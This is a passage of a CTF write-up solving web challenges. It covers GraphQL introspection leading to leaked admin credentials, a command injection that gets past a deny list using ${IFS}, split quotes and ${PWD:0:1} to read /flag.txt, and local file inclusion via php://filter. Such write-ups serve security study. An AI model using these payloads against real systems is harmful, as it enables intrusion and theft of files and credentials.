        <span class="nt">&lt;style&gt;</span> <span class="nt">body</span> <span class="p">{</span> <span class="nl">font-family</span><span class="p">:</span> <span class="nb">sans-serif</span><span class="p">;</span> <span class="nl">background</span><span class="p">:</span> <span class="m">#fff8f8</span><span class="p">;</span> <span class="nl">padding</span><span class="p">:</span> <span class="m">20px</span><span class="p">;</span> <span class="p">}</span> <span class="nt">h1</span> <span class="p">{</span> <span class="nl">color</span><span class="p">:</span> <span class="m">#d6336c</span><span class="p">;</span> <span class="p">}</span> <span class="nc">.grid</span> <span class="p">{</span> <span class="nl">display</span><span class="p">:</span> <span class="n">grid</span><span class="p">;</span> <span class="py">grid-template-columns</span><span class="p">:</span> <span class="nb">repeat</span><span class="p">(</span><span class="n">auto-fill</span><span class="p">,</span><span class="n">minmax</span><span class="p">(</span><span class="m">250px</span><span class="p">,</span><span class="m">1</span><span class="n">fr</span><span class="p">));</span> <span class="py">gap</span><span class="p">:</span> <span class="m">1rem</span><span class="p">;</span> <span class="p">}</span> <span class="nc">.card</span> <span class="p">{</span> <span class="nl">background</span><span class="p">:</span> <span class="no">white</span><span class="p">;</span> <span class="nl">border-radius</span><span class="p">:</span> <span class="m">10px</span><span class="p">;</span> <span class="nl">padding</span><span class="p">:</span> <span class="m">1rem</span><span class="p">;</span> <span class="nl">box-shadow</span><span class="p">:</span> <span class="m">0</span> <span class="m">4px</span> <span class="m">6px</span> <span class="n">rgba</span><span class="p">(</span><span class="m">0</span><span class="p">,</span><span class="m">0</span><span class="p">,</span><span class="m">0</span><span class="p">,</span><span class="m">0.1</span><span class="p">);</span> <span class="p">}</span> <span class="nc">.title</span> <span class="p">{</span> <span class="nl">font-size</span><span class="p">:</span> <span class="m">1.2rem</span><span class="p">;</span> <span class="nl">color</span><span class="p">:</span> <span class="m">#d6336c</span><span class="p">;</span> <span class="p">}</span> <span class="nc">.author</span> <span class="p">{</span> <span class="nl">color</span><span class="p">:</span> <span class="m">#666</span><span class="p">;</span> <span class="nl">font-size</span><span class="p">:</span> <span class="m">0.9rem</span><span class="p">;</span> <span class="p">}</span> <span class="nc">.desc</span> <span class="p">{</span> <span class="nl">margin-top</span><span class="p">:</span> <span class="m">0.5rem</span><span class="p">;</span> <span class="nl">color</span><span class="p">:</span> <span class="m">#444</span><span class="p">;</span> <span class="p">}</span> <span class="nt">&lt;/style&gt;</span> 
        <span class="nt">&lt;/head&gt;</span>
    <span class="nt">&lt;body&gt;</span> 
        <span class="nt">&lt;h1&gt;</span>Brunner's Bakery<span class="nt">&lt;/h1&gt;</span> 
        <span class="nt">&lt;p&gt;</span>Sweet treats, baked fresh daily<span class="nt">&lt;/p&gt;</span> 
        <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"recipes"</span> <span class="na">class=</span><span class="s">"grid"</span><span class="nt">&gt;&lt;/div&gt;</span> 
        <span class="nt">&lt;script&gt;</span> 
            <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/graphql</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span> <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span> <span class="p">},</span> <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> <span class="na">query</span><span class="p">:</span> <span class="dl">'</span><span class="s1">query { publicRecipes { name description author { displayName } ingredients { name } } }</span><span class="dl">'</span> <span class="p">})</span> <span class="p">})</span> <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">res</span> <span class="o">=&gt;</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span> <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">data</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="kd">const</span> <span class="nx">container</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">recipes</span><span class="dl">'</span><span class="p">);</span> 
            <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">publicRecipes</span> <span class="o">||</span> <span class="p">[]).</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="kd">const</span> <span class="nx">div</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">div</span><span class="dl">'</span><span class="p">);</span> <span class="nx">div</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">card</span><span class="dl">'</span><span class="p">;</span> 
            <span class="nx">div</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;div class="title"&gt;</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">name</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;/div&gt;</span><span class="dl">'</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;div class="author"&gt;by </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">author</span><span class="p">.</span><span class="nx">displayName</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;/div&gt;</span><span class="dl">'</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;div class="desc"&gt;</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">description</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;/div&gt;</span><span class="dl">'</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;div style="font-size:0.8rem;color:#777;margin-top:0.5rem;"&gt;Ingredients: </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">ingredients</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">i</span> <span class="o">=&gt;</span> <span class="nx">i</span><span class="p">.</span><span class="nx">name</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">, </span><span class="dl">'</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">&lt;/div&gt;</span><span class="dl">'</span><span class="p">;</span> <span class="nx">container</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">div</span><span class="p">);</span> <span class="p">});</span> <span class="p">});</span> 
            <span class="nt">&lt;/script&gt;</span> 
    <span class="nt">&lt;/body&gt;</span> 
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>…exposing a <code class="language-plaintext highlighter-rouge">/graphql</code> endpoint, we can infer that this is a graphql challenge</p>

<p>we can send a POST request to <code class="language-plaintext highlighter-rouge">/graphql</code> to query the graphql. some basic introspection:</p>

<p><code class="language-plaintext highlighter-rouge">curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'
</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(venv)─(kali㉿kali)-[~/Desktop/forensics_new-order] 
└─$ curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \ -H 

"Content-Type: application/json" \ -d '{"query":"{ __schema { types { name fields { name } } } }"}' {"data":{"__schema":{"types":[{"name":"Query","fields":[{"name":"publicRecipes"},{"name":"secretRecipes"},{"name":"me"}]},{"name":"Mutation","fields":[{"name":"login"}]},{"name":"String","fields":null},{"name":"AuthPayload","fields":[{"name":"token"},{"name":"user"}]},{"name":"Recipe","fields":[{"name":"id"},{"name":"name"},{"name":"description"},{"name":"isSecret"},{"name":"author"},{"name":"ingredients"}]},{"name":"ID","fields":null},{"name":"Boolean","fields":null},{"name":"Ingredient","fields":[{"name":"name"},{"name":"supplier"}]},{"name":"Supplier","fields":[{"name":"id"},{"name":"name"},{"name":"owner"}]},{"name":"User","fields":[{"name":"id"},{"name":"username"},{"name":"displayName"},{"name":"email"},{"name":"notes"},{"name":"privateNotes"},{"name":"recipes"}]},{"name":"__Schema","fields":[{"name":"description"},{"name":"types"},{"name":"queryType"},{"name":"mutationType"},{"name":"subscriptionType"},{"name":"directives"}]},{"name":"__Type","fields":[{"name":"kind"},{"name":"name"},{"name":"description"},{"name":"specifiedByURL"},{"name":"fields"},{"name":"interfaces"},{"name":"possibleTypes"},{"name":"enumValues"},{"name":"inputFields"},{"name":"ofType"},{"name":"isOneOf"}]},{"name":"__TypeKind","fields":null},{"name":"__Field","fields":[{"name":"name"},{"name":"description"},{"name":"args"},{"name":"type"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__InputValue","fields":[{"name":"name"},{"name":"description"},{"name":"type"},{"name":"defaultValue"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__EnumValue","fields":[{"name":"name"},{"name":"description"},{"name":"isDeprecated"},{"name":"deprecationReason"}]},{"name":"__Directive","fields":[{"name":"name"},{"name":"description"},{"name":"isRepeatable"},{"name":"locations"},{"name":"args"}]},{"name":"__DirectiveLocation","fields":null}]}}}
</code></pre></div></div>

<p>there’s a field called ‘secretRecipes’, which could be where our flag is.</p>

<p><code class="language-plaintext highlighter-rouge">curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ secretRecipes { id name description isSecret author { displayName } ingredients { name supplier { name } } } }"}'
</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"errors":[{"message":"Access denied. admin only.","locations":[{"line":1,"column":3}],"path":["secretRecipes"],"extensions":{"code":"UNAUTHENTICATED","exception":{"stacktrace":["AuthenticationError: Access denied. admin only."," at Object.secretRecipes (/app/server.js:213:15)"," at field.resolve (/app/node_modules/apollo-server-core/dist/utils/schemaInstrumentation.js:56:26)"," at executeField (/app/node_modules/graphql/execution/execute.js:500:20)"," at executeFields (/app/node_modules/graphql/execution/execute.js:422:22)"," at executeOperation (/app/node_modules/graphql/execution/execute.js:352:14)"," at execute (/app/node_modules/graphql/execution/execute.js:136:20)"," at execute (/app/node_modules/apollo-server-core/dist/requestPipeline.js:207:48)"," at processGraphQLRequest (/app/node_modules/apollo-server-core/dist/requestPipeline.js:150:34)"," at process.processTicksAndRejections (node:internal/process/task_queues:105:5)"," at async processHTTPRequest (/app/node_modules/apollo-server-core/dist/runHttpQuery.js:222:30)"]}}}],"data":null}
</code></pre></div></div>

<p>we got blocked because we don’t have admin creds.</p>

<p>not to worry, let’s find another way in.</p>

<p>looking at the public recipes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "data": {
    "publicRecipes": [
      {
        "author": {
          "username": "sally",
          "privateNotes": null
        }
      },
      {
        "author": {
          "username": "sally",
          "privateNotes": null
        }
      },
      ...
    ]
  }
}
</code></pre></div></div>

<p>one username is <code class="language-plaintext highlighter-rouge">sally</code>. let’s look deeper by querying her profile information via referencing it from <code class="language-plaintext highlighter-rouge">recipes</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  publicRecipes {
    id
    name
    description
    author {
      username
      email
      notes
      privateNotes
    }
  }
}
</code></pre></div></div>

<p>result:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"publicRecipes": [ { "id": "r1", "name": "Lemon Drizzle", "description": "A zesty lemon drizzle cake for the window display.", "author": { "username": "sally", "email": "sally@brunners.local", "notes": "TODO: Remove temporary credentials... brunner_admin:Sw33tT00Th321?", "privateNotes": null } },
</code></pre></div></div>

<p>bingo, we have admin credentials. we can use this at the <code class="language-plaintext highlighter-rouge">login</code> mutation to generate a valid jwt token, then include it in the <code class="language-plaintext highlighter-rouge">Authorization</code> header of the POST request.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mutation {
  login(username:"brunner_admin", password:"Sw33tT00Th321?") {
    token
    user {
      id
      username
    }
  }
}
mutation {
  login(username:"brunner_admin", password:"Sw33tT00Th321?") {
    token
    user {
      id
      username
    }
  }
}
</code></pre></div></div>

<p>result:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ "data": { "login": { "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InUyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU1ODY3ODA4LCJleHAiOjE3NTU4NzUwMDh9.b3cJfjrYblHcppy4Z_gBfjFg-0cayUTqRwFBc_9BCcI", "user": { "id": "u2", "username": "brunner_admin" } } } }
</code></pre></div></div>

<p>now we can read <code class="language-plaintext highlighter-rouge">secretRecipes</code> via curl:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InUyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU1ODY3ODA4LCJleHAiOjE3NTU4NzUwMDh9.b3cJfjrYblHcppy4Z_gBfjFg-0cayUTqRwFBc_9BCcI" \
  -d '{"query":"{ secretRecipes { id name description author { username email } } }"}'
</code></pre></div></div>

<p>result</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"data":{"secretRecipes":[{"id":"r_secret_1","name":"The Golden Gateau","description":"A secret signature cake used for VIP orders.","author":{"username":"brunner_admin","email":"admin@brunners.local"}}]}}
</code></pre></div></div>

<p>i wasnt really sure what to do from here, but then i looked at recipes and remembered that they have an <code class="language-plaintext highlighter-rouge">ingredients</code> field with attributes for their <code class="language-plaintext highlighter-rouge">supplier</code>s, which are also users with private notes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \ 
    -H "Content-Type: application/json" \ 
    -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InUyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU1ODY3ODA4LCJleHAiOjE3NTU4NzUwMDh9.b3cJfjrYblHcppy4Z_gBfjFg-0cayUTqRwFBc_9BCcI" \ 
    -d '{"query":"{ secretRecipes { id name description isSecret author { id username displayName email notes privateNotes recipes { id name description isSecret } } ingredients { name supplier { id name owner { id username email } } } } }"}'
</code></pre></div></div>

<p>result:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"data":{"secretRecipes":[{"id":"r_secret_1","name":"The Golden Gateau","description":"A secret signature cake used for VIP orders.","isSecret":true,"author":{"id":"u2","username":"brunner_admin","displayName":"Brunner Admin","email":"admin@brunners.local","notes":"Head baker","privateNotes":null,"recipes":[{"id":"r_secret_1","name":"The Golden Gateau","description":"A secret signature cake used for VIP orders.","isSecret":true}]},"ingredients":[{"name":"Rare Cocoa","supplier":{"id":"s1","name":"Heavenly Sugar Co","owner":{"id":"u4","username":"grandmaster_brunner","email":"gm@brunners.local"}}},{"name":"Aged Butter","supplier":{"id":"s2","name":"Golden Eggs Ltd","owner":{"id":"u3","username":"junior_baker","email":"tim@brunners.local"}}}]}]}}
</code></pre></div></div>

<p>let’s try to take a look at users <code class="language-plaintext highlighter-rouge">u4</code> and <code class="language-plaintext highlighter-rouge">u3</code> with usernames <code class="language-plaintext highlighter-rouge">grandmaster_brunner</code> and <code class="language-plaintext highlighter-rouge">junior_baker</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InUyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU1ODY3ODA4LCJleHAiOjE3NTU4NzUwMDh9.b3cJfjrYblHcppy4Z_gBfjFg-0cayUTqRwFBc_9BCcI" \
  -d '{"query":"{ secretRecipes { name ingredients { name supplier { name owner { id username displayName email notes privateNotes recipes { id name description isSecret } } } } } }"}'
</code></pre></div></div>

<p>due to my earlier dawdling my jwt expired so it blocked me</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"errors":[{"message":"Access denied. admin only.","locations":[{"line":1,"column":3}],"path":["secretRecipes"],"extensions":{"code":"UNAUTHENTICATED","exception":{"stacktrace":["AuthenticationError: Access denied. admin only."," at Object.secretRecipes (/app/server.js:213:15)"," at field.resolve (/app/node_modules/apollo-server-core/dist/utils/schemaInstrumentation.js:56:26)"," at executeField (/app/node_modules/graphql/execution/execute.js:500:20)"," at executeFields (/app/node_modules/graphql/execution/execute.js:422:22)"," at executeOperation (/app/node_modules/graphql/execution/execute.js:352:14)"," at execute (/app/node_modules/graphql/execution/execute.js:136:20)"," at execute (/app/node_modules/apollo-server-core/dist/requestPipeline.js:207:48)"," at processGraphQLRequest (/app/node_modules/apollo-server-core/dist/requestPipeline.js:150:34)"," at process.processTicksAndRejections (node:internal/process/task_queues:105:5)"," at async processHTTPRequest (/app/node_modules/apollo-server-core/dist/runHttpQuery.js:222:30)"]}}}],"data":null}
</code></pre></div></div>

<p>back on track with a valid jwt</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -s -X POST https://brunner-s-bakery.challs.brunnerne.xyz/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InUyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU1ODY4NjU2LCJleHAiOjE3NTU4NzU4NTZ9.oE_HOPNy4BQeM22YRVyVABjUjsibMY-KE_K1ny1EzFI" \
  -d '{"query":"{ secretRecipes { name ingredients { name supplier { name owner { id username displayName email notes privateNotes } } } } }"}'
</code></pre></div></div>
<p>we can get the flag in the private notes of the grandmaster brunner (image taken from someone in the discord since i forgor to copy down the last result)</p>

<p><img src="/images/brunner_images/bakery_final.jpg" alt="final" /></p>

<p>flag: <code class="language-plaintext highlighter-rouge">brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}</code></p>

<h2 id="-baking-bad-web-339-solves">&gt; Baking Bad (Web, 339 solves)</h2>
<p>From the challenge description:</p>

<p><code class="language-plaintext highlighter-rouge">Luckily, the developers at Brunnerne have come up with a bash -c 'recipe' that can simulate the baking process.
</code></p>

<p>The website has a textbox that accepts user input and generates a ‘Purity’ value. since the challenge description tells us that this is done through a command, we can attempt command injection.</p>

<p>we start off simple to list all files in the directory with <code class="language-plaintext highlighter-rouge">; ls -la</code>. this payload escapes the previous command by ending it early with a <code class="language-plaintext highlighter-rouge">;</code> and injects our new command, ‘ls -la’, but we are blocked with an error due to unauthorised characters in our input.</p>

<p>through trial and error, we can figure out that the blocked characters include ` ` (space), <code class="language-plaintext highlighter-rouge">()</code> (parentheses), <code class="language-plaintext highlighter-rouge">/</code> (forward slash), <code class="language-plaintext highlighter-rouge">*</code> (asterisk), <code class="language-plaintext highlighter-rouge">&lt;</code> (left triangle bracket), <code class="language-plaintext highlighter-rouge">,</code> (comma)</p>

<p>that’s okay, we can still make an attempt to list directory contents by eliminating the space and -la in our original payload, to make: <code class="language-plaintext highlighter-rouge">;ls</code></p>

<p>result: <code class="language-plaintext highlighter-rouge">index.php quality.sh static</code></p>

<p>attempts to <code class="language-plaintext highlighter-rouge">cat</code>, <code class="language-plaintext highlighter-rouge">echo</code> or <code class="language-plaintext highlighter-rouge">read</code> any of the files are blocked by either the characters filter or another filter that blocks commands like <code class="language-plaintext highlighter-rouge">rm</code> <code class="language-plaintext highlighter-rouge">cat</code> <code class="language-plaintext highlighter-rouge">cp</code> <code class="language-plaintext highlighter-rouge">touch</code> <code class="language-plaintext highlighter-rouge">echo</code> <code class="language-plaintext highlighter-rouge">read</code>.</p>

<p>let’s first bypass the command filter in order to call <code class="language-plaintext highlighter-rouge">cat</code> on <code class="language-plaintext highlighter-rouge">index.php</code>. this can be done by the payload <code class="language-plaintext highlighter-rouge">'c''at'</code> that splits <code class="language-plaintext highlighter-rouge">cat</code> into two single-quoted strings.</p>

<p>then to include a space between <code class="language-plaintext highlighter-rouge">cat</code> and <code class="language-plaintext highlighter-rouge">index.php</code> we can make use of the Internal Field Separator <code class="language-plaintext highlighter-rouge">${IFS}</code> to inject a space between the two fields, bypassing the filter that blocks spaces.</p>

<p>payload: <code class="language-plaintext highlighter-rouge">;'c''at'${IFS}'index.php'</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$denyListCharacters</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'"'</span><span class="p">,</span> <span class="s1">'*'</span><span class="p">,</span> <span class="s1">'/'</span><span class="p">,</span> <span class="s1">' '</span><span class="p">,</span> <span class="s1">'&lt;'</span><span class="p">,</span> <span class="s1">'('</span><span class="p">,</span> <span class="s1">')'</span><span class="p">,</span> <span class="s1">'['</span><span class="p">,</span> <span class="s1">']'</span><span class="p">,</span> <span class="s1">'\\'</span><span class="p">];</span>
<span class="nv">$denyListCommands</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'rm'</span><span class="p">,</span> <span class="s1">'mv'</span><span class="p">,</span> <span class="s1">'cp'</span><span class="p">,</span> <span class="s1">'cat'</span><span class="p">,</span> <span class="s1">'echo'</span><span class="p">,</span> <span class="s1">'touch'</span><span class="p">,</span> <span class="s1">'chmod'</span><span class="p">,</span> <span class="s1">'chown'</span><span class="p">,</span> <span class="s1">'kill'</span><span class="p">,</span> <span class="s1">'ps'</span><span class="p">,</span> <span class="s1">'top'</span><span class="p">,</span> <span class="s1">'find'</span><span class="p">];</span>
<span class="k">function</span> <span class="n">loadSecretRecipe</span><span class="p">()</span> <span class="p">{</span> 
    <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'/flag.txt'</span><span class="p">);</span> 
<span class="p">}</span> 
<span class="k">function</span> <span class="n">sanitizeCharacters</span><span class="p">(</span><span class="nv">$input</span><span class="p">)</span> <span class="p">{</span> 
    <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$input</span><span class="p">);</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> 
        <span class="k">if</span> <span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$input</span><span class="p">[</span><span class="nv">$i</span><span class="p">],</span> <span class="nv">$GLOBALS</span><span class="p">[</span><span class="s1">'denyListCharacters'</span><span class="p">],</span> <span class="kc">true</span><span class="p">))</span> <span class="p">{</span> 
            <span class="k">return</span> <span class="s1">'Illegal character detected!'</span><span class="p">;</span> <span class="p">}</span> 
        <span class="p">}</span> 
        <span class="k">return</span> <span class="nv">$input</span><span class="p">;</span>
    <span class="p">}</span> 
<span class="k">function</span> <span class="n">sanitizeCommands</span><span class="p">(</span><span class="nv">$input</span><span class="p">)</span> <span class="p">{</span> 
    <span class="k">foreach</span> <span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s1">'denyListCommands'</span><span class="p">]</span> <span class="k">as</span> <span class="nv">$cmd</span> <span class="p">{</span>    
        <span class="k">if</span> <span class="p">(</span><span class="nb">stripos</span><span class="p">(</span><span class="nv">$input</span><span class="p">,</span> <span class="nv">$cmd</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>      
            <span class="k">return</span> <span class="s1">'Illegal command detected!'</span><span class="p">;</span> 
        <span class="p">}</span> 
    <span class="p">}</span> 
        <span class="k">return</span> <span class="nv">$input</span><span class="p">;</span> 
    <span class="p">}</span> 
<span class="k">function</span> <span class="n">analyze</span><span class="p">(</span><span class="nv">$ingredient</span><span class="p">)</span> <span class="p">{</span> 
    <span class="nv">$tmp</span> <span class="o">=</span> <span class="nf">sanitizeCharacters</span><span class="p">(</span><span class="nv">$ingredient</span><span class="p">);</span> 
    <span class="k">if</span> <span class="p">(</span><span class="nv">$tmp</span> <span class="o">!==</span> <span class="nv">$ingredient</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$tmp</span><span class="p">;</span> <span class="p">}</span> 
    <span class="nv">$tmp</span> <span class="o">=</span> <span class="nf">sanitizeCommands</span><span class="p">(</span><span class="nv">$ingredient</span><span class="p">);</span> 
    <span class="k">if</span> <span class="p">(</span><span class="nv">$tmp</span> <span class="o">!==</span> <span class="nv">$ingredient</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="nv">$tmp</span><span class="p">;</span> <span class="p">}</span> 
    <span class="k">return</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="s2">"bash -c './quality.sh </span><span class="nv">$ingredient</span><span class="s2">' 2&gt;&amp;1"</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$ingredient</span> <span class="o">!==</span> <span class="s1">''</span> <span class="o">?</span> <span class="nf">analyze</span><span class="p">(</span><span class="nv">$ingredient</span><span class="p">)</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>
</code></pre></div></div>

<p>we want to read /flag.txt. however, recall that forward slashes <code class="language-plaintext highlighter-rouge">/</code> are blocked by the character filter.</p>

<p>to bypass this, note that the <code class="language-plaintext highlighter-rouge">$PWD</code> constant, referring to the path to the root directory, will contain a slash (eg. <code class="language-plaintext highlighter-rouge">/root/</code>)</p>

<p>we can use string slicing to extract the first character of $PWD and combine it with the original <code class="language-plaintext highlighter-rouge">cat</code> splitting and <code class="language-plaintext highlighter-rouge">$IFS</code> to cat <code class="language-plaintext highlighter-rouge">/flag.txt</code>.</p>

<p>final payload: <code class="language-plaintext highlighter-rouge">;'c''at'${IFS}${PWD:0:1}flag.txt</code></p>

<p>flag: <code class="language-plaintext highlighter-rouge">brunner{d1d_1_f0rg37_70_b4n_s0m3_ch4rz?}</code></p>

<h2 id="-brunsviger-husset-web-291-solves">&gt; Brunsviger Husset (Web, 291 solves)</h2>
<p>an interesting part of the source code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">printUrl</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">print.php?file=/var/www/html/bakery-calendar.php&amp;start=2025-07&amp;end=2025-09</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>the file parameter is directly passed to print.php. if this isn’t sanitised properly, this can lead to a Local File Inclusion (LFI) vulnerability, letting us read files on the backend.</p>

<p>let’s try the per-procedure to pass <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to the file parameter, and attempt to read it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/print.php?file=/etc/passwd
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</code></pre></div></div>

<p>it can be read, so this site is vulnerable to lfi.</p>

<p>visiting <code class="language-plaintext highlighter-rouge">/robots.txt</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: * Allow: /index.php Allow: /bakery-calendar.php Disallow: /print.php Disallow: /secrets.php
</code></pre></div></div>

<p>let’s try to LFI <code class="language-plaintext highlighter-rouge">secrets.php</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/print.php?file=/secrets.php
</code></pre></div></div>

<p>the site is blank. that makes sense, since the php is being run on the backend.</p>

<p>we can get it to spit out the source by base64 encoding the file contents, then decoding:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/print.php?file=php://filter/convert.base64-encode/resource=secrets.php
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PD9waHAKLy8gS2VlcCB0aGlzIGZpbGUgc2VjcmV0LCBpdCBjb250YWlucyBzZW5zaXRpdmUgaW5mb3JtYXRpb24uCiRmbGFnID0gImJydW5uZXJ7bDBjNGxfZjFsM18xbmNsdXMxMG5fMW5fdGgzX2I0azNyeX0iOwo/Pgo=
</code></pre></div></div>

<p>decode in a platform such as CyberChef:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="c1">// Keep this file secret, it contains sensitive information.</span>
<span class="nv">$flag</span> <span class="o">=</span> <span class="s2">"brunner</span><span class="si">{</span><span class="nv">l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry</span><span class="si">}</span><span class="s2">"</span><span class="p">;</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>flag: <code class="language-plaintext highlighter-rouge">brunner{l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry}</code></p>

<h2 id="-recipe-for-disaster-web-107-solves">&gt; Recipe For Disaster (Web, 107 solves)</h2>
